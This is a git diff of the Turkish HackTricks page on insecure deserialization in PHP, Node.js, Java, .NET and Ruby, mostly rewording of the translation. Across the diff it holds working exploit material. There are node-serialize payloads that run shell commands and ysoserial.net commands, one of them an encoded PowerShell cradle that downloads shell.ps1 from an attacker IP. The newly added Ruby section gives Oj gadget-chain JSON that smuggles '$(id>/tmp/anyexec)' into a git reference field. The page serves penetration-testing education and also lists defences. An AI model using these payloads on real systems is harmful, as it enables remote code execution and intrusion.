PHP'de, serileştirme ve deserialization süreçlerinde belirli sihirli yöntemler kullanılır:
|
||||
|
||||
* `__sleep`: Bir nesne serileştirildiğinde çağrılır. Bu yöntem, serileştirilmesi gereken nesnenin tüm özelliklerinin adlarının bir dizisini döndürmelidir. Genellikle bekleyen verileri taahhüt etmek veya benzer temizlik görevlerini yerine getirmek için kullanılır.
|
||||
* `__wakeup`: Bir nesne deserialized edildiğinde çağrılır. Serileştirme sırasında kaybolmuş olabilecek veritabanı bağlantılarını yeniden kurmak ve diğer yeniden başlatma görevlerini yerine getirmek için kullanılır.
|
||||
* `__wakeup`: Bir nesne deserialized edildiğinde çağrılır. Serileştirme sırasında kaybolmuş olabilecek herhangi bir veritabanı bağlantısını yeniden kurmak ve diğer yeniden başlatma görevlerini yerine getirmek için kullanılır.
|
||||
* `__unserialize`: Bu yöntem, bir nesne deserialized edilirken `__wakeup` yerine çağrılır (varsa). Deserialization süreci üzerinde `__wakeup`'a göre daha fazla kontrol sağlar.
|
||||
* `__destruct`: Bu yöntem, bir nesne yok edilmek üzereyken veya script sona erdiğinde çağrılır. Genellikle dosya tanıtıcılarını veya veritabanı bağlantılarını kapatmak gibi temizlik görevleri için kullanılır.
|
||||
* `__toString`: Bu yöntem, bir nesnenin bir string olarak işlenmesine olanak tanır. Bir dosyayı okumak veya içindeki işlev çağrılarına dayalı diğer görevler için kullanılabilir ve nesnenin metinsel temsilini etkili bir şekilde sağlar.
|
||||
* `__toString`: Bu yöntem, bir nesnenin bir dize olarak işlenmesine olanak tanır. Bir dosyayı okumak veya içindeki işlev çağrılarına dayalı diğer görevler için kullanılabilir ve nesnenin metinsel temsilini etkili bir şekilde sağlar.
|
||||
```php
|
||||
<?php
|
||||
class test {
|
||||
|
@ -107,7 +107,7 @@ Açıklamalı bir **PHP örneğini burada** okuyabilirsiniz: [https://www.notsos
|
|||
|
||||
### PHP Deserial + Autoload Sınıfları
|
||||
|
||||
Arbitrary php dosyalarını yüklemek için PHP autoload işlevselliğini kötüye kullanabilirsiniz:
|
||||
Arbitrary php dosyalarını yüklemek ve daha fazlası için PHP autoload işlevselliğini kötüye kullanabilirsiniz:
|
||||
|
||||
{% content-ref url="php-deserialization-+-autoload-classes.md" %}
|
||||
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
|
||||
|
@ -132,7 +132,7 @@ $ser=serialize($o);
|
|||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc), PHP deserialization'larını kötüye kullanmak için yükler oluşturmanıza yardımcı olabilir.\
|
||||
Uygulamanın kaynak kodunda bir deserialization'ı kötüye kullanmanın bir yolunu **bulamayabileceğinizi** unutmayın, ancak **harici PHP uzantılarının kodunu kötüye kullanabilirsiniz.**\
|
||||
Bu nedenle, mümkünse, sunucunun `phpinfo()`sunu kontrol edin ve **internette** (hatta **PHPGGC**'nin **gadgets**'lerinde) kötüye kullanabileceğiniz bazı olası gadget'ları arayın.
|
||||
Bu nedenle, mümkünse, sunucunun `phpinfo()`'sunu kontrol edin ve **internette** (hatta **PHPGGC**'nin **gadgets**'lerinde) kötüye kullanabileceğiniz bazı olası gadget'ları arayın.
|
||||
|
||||
### phar:// metadata deserialization
|
||||
|
||||
|
@ -180,10 +180,10 @@ Aşağıdaki sayfa, **yamls** python kütüphanelerinde **güvensiz bir deserial
|
|||
|
||||
### JS Magic Functions
|
||||
|
||||
JS **PHP veya Python gibi "sihirli"** fonksiyonlara sahip **değildir**; bu fonksiyonlar sadece bir nesne oluşturmak için çalıştırılır. Ancak, **doğrudan çağrılmadan** bile **sıklıkla kullanılan** bazı **fonksiyonlar** vardır, bunlar arasında **`toString`**, **`valueOf`**, **`toJSON`** bulunmaktadır.\
|
||||
JS **PHP veya Python gibi "sihirli"** fonksiyonlara sahip **değildir**; bu fonksiyonlar sadece bir nesne oluşturmak için çalıştırılacak. Ancak, **doğrudan çağrılmadan** bile **sıklıkla kullanılan** bazı **fonksiyonlar** vardır, bunlar arasında **`toString`**, **`valueOf`**, **`toJSON`** bulunmaktadır.\
|
||||
Eğer bir deserialization'ı kötüye kullanıyorsanız, bu fonksiyonları **başka bir kodu çalıştırmak için tehlikeye atabilirsiniz** (potansiyel olarak prototype kirliliğini kötüye kullanarak) ve çağrıldıklarında rastgele kod çalıştırabilirsiniz.
|
||||
|
||||
Başka bir **"sihirli" yol**, bir fonksiyonu doğrudan çağırmadan **bir async fonksiyondan dönen bir nesneyi tehlikeye atmak**tır (promise). Çünkü, eğer o **dönüş nesnesini** **"then" adında bir fonksiyon türünde** **özelliğe** sahip başka bir **promise**'e **dönüştürürseniz**, bu, başka bir promise tarafından döndürüldüğü için **çalıştırılacaktır**. _Daha fazla bilgi için_ [_**bu bağlantıyı**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _takip edin._
|
||||
Başka bir **"sihirli" yol**, bir fonksiyonu doğrudan çağırmadan **bir async fonksiyondan** (promise) dönen bir nesneyi **tehlikeye atmak** ile bir fonksiyonu çağırmaktır. Çünkü, eğer o **dönüş nesnesini** **"then" adında bir fonksiyon türünde** **özelliğe** sahip başka bir **promise**'e **dönüştürürseniz**, bu, başka bir promise tarafından döndürüldüğü için **çalıştırılacaktır**. _Daha fazla bilgi için_ [_**bu bağlantıyı**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _takip edin._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
|
@ -242,13 +242,13 @@ Son kod parçasında görebileceğiniz gibi, **eğer bayrak bulunursa** `eval` f
|
|||
|
||||
Ancak, **sadece bir fonksiyonu serileştirmek** **onu çalıştırmaz**, çünkü kodun bir kısmının **`y.rce`'yi çağırması** gerekir ve bu oldukça **olasılık dışıdır**.\
|
||||
Yine de, serileştirilmiş nesneyi **değiştirerek** **bazı parantezler ekleyerek** nesne serileştirildiğinde serileştirilmiş fonksiyonun otomatik olarak çalışmasını sağlayabilirsiniz.\
|
||||
Son kod parçasında **son parantezi** ve `unserialize` fonksiyonunun kodu nasıl otomatik olarak çalıştıracağını fark edin:
|
||||
Son kod parçasında **son parantezi** ve `unserialize` fonksiyonunun kodu otomatik olarak nasıl çalıştıracağını gözlemleyin:
|
||||
```javascript
|
||||
var serialize = require('node-serialize');
|
||||
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
|
||||
serialize.unserialize(test);
|
||||
```
|
||||
Daha önce belirtildiği gibi, bu kütüphane `_$$ND_FUNC$$_` sonrasındaki kodu alacak ve **çalıştıracak** `eval` kullanarak. Bu nedenle, **otomatik olarak kod çalıştırmak** için **fonksiyon oluşturma** kısmını ve son parantezi **silip sadece bir JS tek satırı çalıştırabilirsiniz** aşağıdaki örnekteki gibi:
|
||||
Daha önce belirtildiği gibi, bu kütüphane `_$$ND_FUNC$$_` sonrasındaki kodu alacak ve **çalıştıracak**. Bu nedenle, **otomatik olarak kod çalıştırmak** için **fonksiyon oluşturma** kısmını ve son parantezi **silip sadece bir JS tek satırı çalıştırabilirsiniz**; aşağıdaki örnekte olduğu gibi:
|
||||
```javascript
|
||||
var serialize = require('node-serialize');
|
||||
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
|
||||
|
@ -279,7 +279,7 @@ funcster.deepDeserialize(desertest3)
|
|||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
**serialize-javascript** paketi yalnızca serileştirme amaçları için tasarlanmıştır ve herhangi bir yerleşik deserialization yeteneğine sahip değildir. Kullanıcılar, deserialization için kendi yöntemlerini uygulamaktan sorumludur. Resmi örnek, serileştirilmiş verileri deserialization için `eval` kullanımını önermektedir:
|
||||
**serialize-javascript** paketi yalnızca serileştirme amaçları için tasarlanmıştır ve herhangi bir yerleşik deserialization yeteneğine sahip değildir. Kullanıcılar, deserialization için kendi yöntemlerini uygulamaktan sorumludur. Resmi örnek, serileştirilmiş verileri deserializing için `eval` kullanımını önermektedir:
|
||||
```javascript
|
||||
function deserialize(serializedJavascript){
|
||||
return eval('(' + serializedJavascript + ')');
|
||||
|
@ -313,7 +313,7 @@ Java'da, **deserialization geri çağırmaları deserialization süreci sırası
|
|||
|
||||
#### Beyaz Kutu
|
||||
|
||||
Kod tabanında potansiyel serileştirme zafiyetlerini belirlemek için arama yapın:
|
||||
Kod tabanında potansiyel serileştirme zafiyetlerini tanımlamak için arayın:
|
||||
|
||||
* `Serializable` arayüzünü uygulayan sınıflar.
|
||||
* `java.io.ObjectInputStream`, `readObject`, `readUnshare` fonksiyonlarının kullanımı.
|
||||
|
@ -322,14 +322,14 @@ Aşağıdakilere ekstra dikkat edin:
|
|||
|
||||
* Dış kullanıcılar tarafından tanımlanan parametrelerle kullanılan `XMLDecoder`.
|
||||
* `XStream`'in `fromXML` metodu, özellikle XStream sürümü 1.46 veya daha düşükse, çünkü serileştirme sorunlarına duyarlıdır.
|
||||
* `readObject` metodu ile birlikte kullanılan `ObjectInputStream`.
|
||||
* `readObject` metodu ile birleştirilmiş `ObjectInputStream`.
|
||||
* `readObject`, `readObjectNodData`, `readResolve` veya `readExternal` gibi yöntemlerin uygulanması.
|
||||
* `ObjectInputStream.readUnshared`.
|
||||
* `Serializable` genel kullanımı.
|
||||
|
||||
#### Siyah Kutu
|
||||
|
||||
Siyah kutu testleri için, java serileştirilmiş nesnelerini belirten belirli **imzalar veya "Sihirli Baytlar"** arayın ( `ObjectInputStream`'den kaynaklanan):
|
||||
Siyah kutu testi için, java serileştirilmiş nesnelerini belirten belirli **imzalar veya "Sihirli Baytlar"** arayın ( `ObjectInputStream`'den kaynaklanan):
|
||||
|
||||
* Onaltılık desen: `AC ED 00 05`.
|
||||
* Base64 deseni: `rO0`.
|
||||
|
@ -453,7 +453,7 @@ You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollecti
|
|||
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec)farklı **Json** ve **Yml** serileştirme kütüphanelerini Java'da istismar etmek için yükler oluşturmak için kullanılabilir.\
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec)farklı **Json** ve **Yml** serileştirme kütüphanelerini istismar etmek için yükler oluşturmak üzere kullanılabilir.\
|
||||
Projeyi derlemek için `pom.xml` dosyasına bu **bağımlılıkları** **eklemem** gerekti:
|
||||
```markup
|
||||
<dependency>
|
||||
|
@ -504,9 +504,9 @@ public class myAccount implements Serializable
|
|||
private transient double profit; // declared transient
|
||||
private transient double margin; // declared transient
|
||||
```
|
||||
#### Serializable'ı Uygulaması Gereken Bir Sınıfın Serileştirilmesinden Kaçının
|
||||
#### Serializable'ı uygulaması gereken bir sınıfın Serileştirilmesinden Kaçının
|
||||
|
||||
Belirli **nesnelerin sınıf hiyerarşisi nedeniyle `Serializable`** arayüzünü uygulaması gereken senaryolarda, istemeden deserialization riski vardır. Bunu önlemek için, aşağıda gösterildiği gibi, sürekli bir istisna fırlatan `final` bir `readObject()` metodu tanımlayarak bu nesnelerin deserializable olmadığından emin olun:
|
||||
Belirli **nesnelerin sınıf hiyerarşisi nedeniyle `Serializable`** arayüzünü uygulaması gereken senaryolarda, istemeden deserialization riski vardır. Bunu önlemek için, aşağıda gösterildiği gibi, sürekli bir istisna fırlatan `final` bir `readObject()` metodu tanımlayarak bu nesnelerin deserializable olmalarını sağlayın:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
|
@ -604,12 +604,12 @@ Bu ara yazılımı kullanarak mesaj gönderen birkaç ürün bulunmaktadır:
|
|||
|
||||
### İstismar
|
||||
|
||||
Temelde, **tehlikeli bir şekilde JMS kullanan birçok hizmet vardır**. Bu nedenle, bu hizmetlere mesaj göndermek için **yeterli ayrıcalıklara** sahipseniz (genellikle geçerli kimlik bilgilerine ihtiyacınız olacaktır), **tüketici/abone tarafından deserialization yapılacak zararlı nesneler serileştirebilirsiniz**.\
|
||||
Temelde, **tehlikeli bir şekilde JMS kullanan birçok hizmet** bulunmaktadır. Bu nedenle, bu hizmetlere mesaj göndermek için **yeterli ayrıcalıklara** sahipseniz (genellikle geçerli kimlik bilgilerine ihtiyacınız olacaktır), **tüketici/abone tarafından deserialization yapılacak zararlı serileştirilmiş nesneler gönderebilirsiniz**.\
|
||||
Bu, bu istismar sırasında **o mesajı kullanacak tüm istemcilerin enfekte olacağı** anlamına gelir.
|
||||
|
||||
Bir hizmetin zayıf olduğunu hatırlamalısınız (çünkü kullanıcı girdisini güvensiz bir şekilde deserialization yapıyorsa) ancak yine de zafiyeti istismar etmek için geçerli gadget'lar bulmanız gerekir.
|
||||
|
||||
[JMET](https://github.com/matthiaskaiser/jmet) aracı, **bilinen gadget'lar kullanarak birkaç zararlı nesne serileştirerek bu hizmetlere bağlanmak ve saldırmak için** oluşturulmuştur. Bu istismarlar, hizmet hala zayıfsa ve kullanılan gadget'lardan herhangi biri zayıf uygulama içinde bulunuyorsa çalışacaktır.
|
||||
[JMET](https://github.com/matthiaskaiser/jmet) aracı, **bilinen gadget'lar kullanarak birkaç zararlı serileştirilmiş nesne göndererek bu hizmetlere bağlanmak ve saldırmak için** oluşturulmuştur. Bu istismarlar, hizmet hala zayıfsa ve kullanılan gadget'lardan herhangi biri zayıf uygulama içinde bulunuyorsa çalışacaktır.
|
||||
|
||||
### Referanslar
|
||||
|
||||
|
@ -624,37 +624,37 @@ Bir hizmetin zayıf olduğunu hatırlamalısınız (çünkü kullanıcı girdisi
|
|||
|
||||
#### Beyaz Kutu
|
||||
|
||||
Kaynak kodu, aşağıdaki durumların varlığı için incelenmelidir:
|
||||
Kaynak kodu, aşağıdaki terimlerin geçişlerini kontrol etmek için incelenmelidir:
|
||||
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
|
||||
Odak, türün kullanıcı kontrolündeki bir değişken tarafından belirlenmesine izin veren serileştiriciler üzerinde olmalıdır.
|
||||
Odak, türün kullanıcı kontrolündeki bir değişkenle belirlenmesine izin veren serileştiriciler üzerinde olmalıdır.
|
||||
|
||||
#### Siyah Kutu
|
||||
|
||||
Arama, sunucu tarafında deserialization yapılabilecek **AAEAAAD/////** veya benzeri bir Base64 kodlu dizeyi hedef almalıdır; bu, deserialization yapılacak tür üzerinde kontrol sağlar. Bu, `TypeObject` veya `$type` içeren **JSON** veya **XML** yapıları da dahil olmak üzere, ancak bunlarla sınırlı olmamak kaydıyla olabilir.
|
||||
Arama, sunucu tarafında deserialization yapılabilecek **AAEAAAD/////** veya benzeri bir Base64 kodlu dizeyi hedef almalıdır; bu, deserialization yapılacak tür üzerinde kontrol sağlar. Bu, `TypeObject` veya `$type` içeren **JSON** veya **XML** yapıları gibi olabilir, ancak bunlarla sınırlı değildir.
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
Bu durumda, **deserialization istismarları oluşturmak için** [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) aracını kullanabilirsiniz. Git deposunu indirdikten sonra, örneğin Visual Studio kullanarak **aracı derlemelisiniz**.
|
||||
Bu durumda, **deserialization istismarları oluşturmak için** [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) aracını kullanabilirsiniz. Git deposunu indirdikten sonra, aracı **Visual Studio gibi bir programla derlemelisiniz**.
|
||||
|
||||
**ysoserial.net'in istismarını nasıl oluşturduğunu öğrenmek** istiyorsanız, [**ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatlayıcı'sının açıklandığı bu sayfayı kontrol edebilirsiniz**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
**ysoserial.net'in istismarını nasıl oluşturduğunu öğrenmek** isterseniz, [**ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatlayıcısının açıklandığı bu sayfayı kontrol edebilirsiniz**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
|
||||
**ysoserial.net**'in ana seçenekleri: **`--gadget`**, **`--formatter`**, **`--output`** ve **`--plugin`.**
|
||||
|
||||
* **`--gadget`**, istismar edilecek gadget'ı belirtmek için kullanılır (deserialization sırasında komutları çalıştırmak için istismar edilecek sınıf/fonksiyonu belirtir).
|
||||
* **`--formatter`**, istismarı serileştirmek için kullanılacak yöntemi belirtir (payload'ı deserialization yapmak için hangi kütüphanenin kullanıldığını bilmeniz ve aynı kütüphaneyi kullanarak serileştirmeniz gerekir).
|
||||
* **`--output`**, istismarı **ham** veya **base64** kodlu olarak almak isteyip istemediğinizi belirtmek için kullanılır. _Not: **ysoserial.net**, payload'ı **UTF-16LE** kullanarak **kodlayacaktır** (Windows'ta varsayılan olarak kullanılan kodlama), bu nedenle ham veriyi alıp sadece bir linux konsolundan kodlarsanız, istismarın düzgün çalışmasını engelleyecek bazı **kodlama uyumluluk sorunları** yaşayabilirsiniz (HTB JSON kutusunda payload hem UTF-16LE hem de ASCII'de çalıştı ama bu her zaman çalışacağı anlamına gelmez)._
|
||||
* **`--formatter`**, istismarı serileştirmek için kullanılacak yöntemi belirtir (payload'ı deserialization yapmak için hangi kütüphanenin kullanıldığını bilmeniz ve aynı kütüphaneyi serileştirmek için kullanmanız gerekir).
|
||||
* **`--output`**, istismarı **ham** veya **base64** kodlu olarak almak isteyip istemediğinizi belirtmek için kullanılır. _Not: **ysoserial.net**, payload'ı **UTF-16LE** kullanarak **kodlayacaktır** (Windows'ta varsayılan olarak kullanılan kodlama), bu nedenle ham veriyi alıp sadece bir linux konsolundan kodlarsanız, istismarın düzgün çalışmasını engelleyecek bazı **kodlama uyumluluk sorunları** yaşayabilirsiniz (HTB JSON kutusunda payload hem UTF-16LE hem de ASCII'de çalıştı, ancak bu her zaman çalışacağı anlamına gelmez)._
|
||||
* **`--plugin`**, ysoserial.net, **belirli çerçeveler için istismarlar oluşturmak üzere eklentileri destekler**; örneğin ViewState.
|
||||
|
||||
#### Daha Fazla ysoserial.net Parametreleri
|
||||
#### Daha fazla ysoserial.net parametreleri
|
||||
|
||||
* `--minify`, **daha küçük bir payload** sağlayacaktır (mümkünse).
|
||||
* `--raf -f Json.Net -c "anything"` Bu, sağlanan bir formatlayıcı ile kullanılabilecek tüm gadget'ları gösterecektir (`Json.Net` bu durumda).
|
||||
* `--sf xml`, bir gadget'ı (`-g`) belirtebilir ve ysoserial.net "xml" içeren formatlayıcıları arayacaktır (büyük/küçük harf duyarsız).
|
||||
|
||||
**ysoserial örnekleri** ile istismarlar oluşturma:
|
||||
**ysoserial örnekleri** ile istismar oluşturma:
|
||||
```bash
|
||||
#Send ping
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||||
|
@ -673,7 +673,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
|||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net** ayrıca her bir exploitin nasıl çalıştığını daha iyi anlamaya yardımcı olan **çok ilginç bir parametreye** sahiptir: `--test`\
|
||||
Bu parametreyi belirtirseniz **ysoserial.net** **exploit'i yerel olarak deneyecektir,** böylece yüklemenizin doğru bir şekilde çalışıp çalışmadığını test edebilirsiniz.\
|
||||
Bu parametreyi belirtirseniz **ysoserial.net** **exploit'i yerel olarak deneyecektir,** böylece payload'unuzun doğru çalışıp çalışmadığını test edebilirsiniz.\
|
||||
Bu parametre faydalıdır çünkü kodu gözden geçirirseniz aşağıdaki gibi kod parçaları bulacaksınız ( [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
|
@ -688,7 +688,7 @@ Debugging.ShowErrors(inputArgs, err);
|
|||
}
|
||||
}
|
||||
```
|
||||
Bu, istismarı test etmek için kodun [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) çağıracağı anlamına gelir.
|
||||
Bu, istismarı test etmek için kodun [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) çağıracağı anlamına geliyor.
|
||||
```java
|
||||
public static object JsonNet_deserialize(string str)
|
||||
{
|
||||
|
@ -713,11 +713,11 @@ Bu nedenle, **`--test`** parametresi, **hangi kod parçalarının** **ysoserial.
|
|||
* **Veri akışlarının nesne türlerini tanımlamasına izin vermekten kaçının.** Mümkünse `DataContractSerializer` veya `XmlSerializer` kullanın.
|
||||
* **`JSON.Net` için `TypeNameHandling`'i `None` olarak ayarlayın:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||||
* **`JavaScriptSerializer` ile `JavaScriptTypeResolver` kullanmaktan kaçının.**
|
||||
* **Deserialized edilebilecek türleri sınırlayın**, `System.IO.FileInfo` gibi .Net türleri ile ilişkili riskleri anlayarak, bu türler sunucu dosyalarının özelliklerini değiştirebilir ve hizmet reddi saldırılarına yol açabilir.
|
||||
* **Deserialized edilebilecek türleri sınırlayın**, `System.IO.FileInfo` gibi .Net türleri ile ilgili içsel riskleri anlayarak, bu türler sunucu dosyalarının özelliklerini değiştirebilir ve hizmet reddi saldırılarına yol açabilir.
|
||||
* **Riskli özelliklere sahip türlerle dikkatli olun**, `Value` özelliği ile `System.ComponentModel.DataAnnotations.ValidationException` gibi, istismar edilebilir.
|
||||
* **Tür örneklemesini güvenli bir şekilde kontrol edin**; bu, saldırganların deserialization sürecini etkilemesini önler ve `DataContractSerializer` veya `XmlSerializer` bile savunmasız hale gelebilir.
|
||||
* **Tür örneklemesini güvenli bir şekilde kontrol edin**; bu, saldırganların deserialization sürecini etkilemesini önler ve bu durum `DataContractSerializer` veya `XmlSerializer`'ı bile savunmasız hale getirebilir.
|
||||
* **`BinaryFormatter` ve `JSON.Net` için özel bir `SerializationBinder` kullanarak beyaz liste kontrolleri uygulayın.**
|
||||
* **.Net içindeki bilinen güvensiz deserialization aletleri hakkında bilgi sahibi olun** ve deserializer'ların bu türleri örneklemediğinden emin olun.
|
||||
* **.Net içinde bilinen güvensiz deserialization aletleri hakkında bilgi sahibi olun** ve deserializer'ların bu türleri örneklemediğinden emin olun.
|
||||
* **Potansiyel olarak riskli kodu** internet erişimi olan koddan izole edin, böylece `System.Windows.Data.ObjectDataProvider` gibi bilinen aletleri güvensiz veri kaynaklarına maruz bırakmaktan kaçının.
|
||||
|
||||
### **Referanslar**
|
||||
|
@ -731,7 +731,7 @@ Bu nedenle, **`--test`** parametresi, **hangi kod parçalarının** **ysoserial.
|
|||
|
||||
Ruby'de, serialization **marshal** kütüphanesindeki iki yöntemle sağlanır. İlk yöntem, **dump** olarak bilinir ve bir nesneyi bir byte akışına dönüştürmek için kullanılır. Bu işleme serialization denir. Tersine, ikinci yöntem **load** olarak adlandırılır ve bir byte akışını tekrar bir nesneye döndürmek için kullanılır; bu işleme ise deserialization denir.
|
||||
|
||||
Serileştirilmiş nesneleri güvence altına almak için, **Ruby HMAC (Hash-Based Message Authentication Code)** kullanır ve verinin bütünlüğünü ve doğruluğunu sağlar. Bu amaçla kullanılan anahtar, birkaç olası konumdan birinde saklanır:
|
||||
Serileştirilmiş nesneleri güvence altına almak için, **Ruby HMAC (Hash-Based Message Authentication Code)** kullanır ve verilerin bütünlüğünü ve doğruluğunu sağlar. Bu amaçla kullanılan anahtar, birkaç olası konumdan birinde saklanır:
|
||||
|
||||
* `config/environment.rb`
|
||||
* `config/initializers/secret_token.rb`
|
||||
|
@ -823,7 +823,7 @@ Diğer RCE zinciri Ruby On Rails'i istismar etmek için: [https://codeclimate.co
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Ayrıca, **`.send()`** yönteminin yalnızca bir parametresi bir saldırgan tarafından kontrol ediliyorsa, önceki yazıda belirtildiği gibi, **argüman gerektirmeyen** veya argümanlarının **varsayılan değerleri** olan herhangi bir nesne yöntemini çağırmak mümkündür.\
|
||||
Ayrıca, yalnızca **`.send()`** yönteminin bir parametresi bir saldırgan tarafından kontrol ediliyorsa, önceki yazıda belirtildiği gibi, **argüman gerektirmeyen** veya argümanlarının **varsayılan değerleri** olan herhangi bir nesne yöntemini çağırmak mümkündür.\
|
||||
Bunun için, bu gereksinimleri karşılayan **ilginç yöntemleri bulmak üzere nesnenin tüm yöntemlerini listelemek** mümkündür.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -850,16 +850,79 @@ candidate_methods.length() # Final number of methods=> 3595
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### Diğer kütüphaneler
|
||||
|
||||
Bu teknik [**bu blog yazısından**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm\_source=pocket\_shared) alınmıştır.
|
||||
|
||||
RCE elde etmek için güvenli olmayan bir deserialization sırasında kötüye kullanılabilecek nesneleri serileştirmek için kullanılabilecek başka Ruby kütüphaneleri vardır. Aşağıdaki tablo, bu kütüphanelerden bazılarını ve yüklenen kütüphanenin deserialized edildiğinde çağırdığı yöntemi göstermektedir (temelde RCE elde etmek için kötüye kullanılacak fonksiyon):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Kütüphane</strong></td><td><strong>Girdi verisi</strong></td><td><strong>Sınıf içindeki başlatma yöntemi</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (sınıfın hash(map) içinde anahtar olarak yer alması gerekir)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (sınıfın hash(map) içinde anahtar olarak yer alması gerekir)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (sınıfın hash(map) içinde anahtar olarak yer alması gerekir)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([json_create ile ilgili notlara bakın](#table-vulnerable-sinks) )</td></tr></tbody></table>
|
||||
|
||||
Temel örnek:
|
||||
```ruby
|
||||
# Existing Ruby class inside the code of the app
|
||||
class SimpleClass
|
||||
def initialize(cmd)
|
||||
@cmd = cmd
|
||||
end
|
||||
|
||||
def hash
|
||||
system(@cmd)
|
||||
end
|
||||
end
|
||||
|
||||
# Exploit
|
||||
require 'oj'
|
||||
simple = SimpleClass.new("open -a calculator") # command for macOS
|
||||
json_payload = Oj.dump(simple)
|
||||
puts json_payload
|
||||
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
Oj'yi kötüye kullanmaya çalışırken, `hash` fonksiyonu içinde `to_s` çağıran bir gadget sınıfı bulmak mümkün oldu. Bu, spec'i çağıracak ve fetch\_path'ı çağıracak şekildeydi; bu da rastgele bir URL almasını sağladı ve bu tür sanitizasyon yapılmamış deserialization zafiyetlerinin harika bir dedektörünü sağladı.
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
"scheme": "s3",
|
||||
"host": "example.org/anyurl?",
|
||||
"port": "anyport","path": "/", "user": "anyuser", "password": "anypw"
|
||||
}
|
||||
```
|
||||
Ayrıca, önceki teknikle sistemde bir klasörün de oluşturulduğu, bunun başka bir gadget'ı istismar etmek için bir gereklilik olduğu ve bunu şu şekilde tam bir RCE'ye dönüştürdüğü bulundu:
|
||||
```json
|
||||
{
|
||||
"^o": "Gem::Resolver::SpecSpecification",
|
||||
"spec": {
|
||||
"^o": "Gem::Resolver::GitSpecification",
|
||||
"source": {
|
||||
"^o": "Gem::Source::Git",
|
||||
"git": "zip",
|
||||
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
|
||||
"root_dir": "/tmp",
|
||||
"repository": "anyrepo",
|
||||
"name": "anyname"
|
||||
},
|
||||
"spec": {
|
||||
"^o": "Gem::Resolver::Specification",
|
||||
"name": "name",
|
||||
"dependencies": []
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Daha fazla detay için [**orijinal gönderiye**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm\_source=pocket\_shared) bakın.
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
